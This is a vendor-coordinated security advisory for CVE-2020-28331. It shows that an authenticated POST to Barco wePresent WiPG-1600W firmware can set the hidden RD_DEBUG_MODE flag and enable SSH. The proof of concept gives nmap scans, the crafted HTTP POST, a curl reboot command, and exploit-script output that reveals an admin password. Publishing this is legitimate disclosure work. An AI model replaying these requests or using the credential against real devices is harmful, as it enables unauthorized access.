Skip to main content
Security Advisory

Barco wePresent Undocumented SSH Interface Accessible Via Web UI

Advisory ID
KL-001-2020-007
Published
2020-11-20
Vendor
Barco

Affected Systems

Product
wePresent WiPG-1600W
Version
2.5.1.8
Platform
Embedded Linux

Discovered By

Jim Becher (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Barco
Affected Product: wePresent WiPG-1600W
Affected Version: 2.5.1.8
Platform: Embedded Linux
CWE Classification: CWE-266: Incorrect Privilege Assignment
CVE ID: CVE-2020-28331

Vulnerability Description

The Barco wePresent device has an SSH daemon included in the firmware image. By default, the SSH daemon is disabled and does not start at system boot. The system initialization scripts read a device configuration file variable to see if the SSH daemon should be started. The web interface does not provide a visible capability to alter this configuration file variable. However, a malicious actor can include this variable in a POST such that the SSH daemon will be started when the device boots.

Technical Description

The Barco wePresent web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. The device does not have a SSH daemon listening by default. In looking at the unpacked firmware, there is an SSH daemon init script (/etc/init.d/S41ssh). The init script starts the SSH daemon only if a specific value from the device’s configuration is set to “1”. Excerpts from the init script:

mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE)

runprocess() {
    if [ "$mode" = "1" ]; then
        echo "dropbear running" /usr/bin/dropbear
    fi
}

The AwGetCfg binry reads the /etc/content/AwDefault.xml file, and there is a RD_DEBUG_MODE value set in that file. By default RD_DEBUG_MODE is set to “0” in the firmware.

While the web pages in the web UI do not have apparent ways to enable SSH, other configuration settings that appear in the /etc/content/AwDefault.xml file can be modified by the web UI. So, a configuration change originating from the UI can be intercepted and modified to set RD_DEBUG_MODE to 1.

Many (all?) configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the “SEID” to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections.

The root user is the only system level user that is present in the firmware by default. A hash for the root account is present in the /etc/shadow file, but has been resistant to being cracked thus far.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.barco.com/en/support/software/R33050104

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.

Proof of Concept

$ nmap 192.168.2.200

Nmap scan report for 192.168.2.200
Host is up (0.0035s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

To enable SSH service, authenticate to the wePresent device and click apply (does not even have to be an actual configuration change). In the POST add “<name>RD_DEBUG_MODE</name><value>1</value>”

POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.2.200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Content-Length: 520
Origin: https://192.168.2.200
Connection: close
Referer: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&rjviSfqdmPuWrZ7z

command=<Send><seid>rjviSfqdmPuWrZ7z</seid><name>WL_PAIRING_ONOFF</name><value>0</value><name>NTP_SYNC</name><value>1</value><name>NTP_SERVER_IP</name><value></value><name>TIME_ZONE</name><value>GMT-8_CH</value><name>PREF_LOGINCODE</name><value>2</value><name>VIDEO_OUT</name><value>4</value><name>VIDEO_RES</name><value>7</value><name>PREF_UNIVERSAL_LOGINCODE</name><value>2113</value><name>ENABLE_DST</name><value>1</value><name>IOS_AIRPLAY_ONOFF</name><value>1</value><name>RD_DEBUG_MODE</name><value>1</value></Send>

And then issue a reboot to the device:

$ curl -k -X POST https://192.168.2.200/cgi-bin/return.cgi -d 'command=<Send><seid>rjviSfqdmPuWrZ7z</seid><Factory>reboot</Factory></Send>'
<return><Factory>RebootOK</Factory></return>

The above steps can be captured in a Python script (a different SEID was generated by the device):

user@machine:~/wepresent$ ./WePwn.py -h 192.168.2.200
[+] Admin password is:  W3Pr3s3nt
[+] SEID is:  PqhXbb4jQ2g8T4ss
[+] Enabling SSH Daemon
[+] Rebooting device
[+] Waiting for 60 seconds while device reboots
10...20...30...40...50...60

After the device reboots, the SSH daemon is now running and listening on port 22/tcp.

$ nmap 192.168.2.200

Nmap scan report for 192.168.2.200
Host is up (0.0037s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
515/tcp  open  printer
1688/tcp open  nsjtp-data
3268/tcp open  globalcatLDAP
4001/tcp open  newoak
5566/tcp open  westec-connect
6000/tcp open  X11
7000/tcp open  afs3-fileserver
7100/tcp open  font-service
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Disclosure Timeline

KoreLogic submits vulnerability details to Barco.

Barco acknowledges receipt and the intention to investigate.

Barco notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. Barco requests to delay coordinated disclosure until 2020.12.11.

KoreLogic agrees to 2020.12.11 coordinated disclosure.

Barco informs KoreLogic of their intent to acquire CVE number for this vulnerability.

Barco shares CVE number with KoreLogic and announces their intention to release the updated firmware ahead of schedule, on 2020.11.11. Request that KoreLogic delay public disclosure until 2020.11.20.

Barco firmware release.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable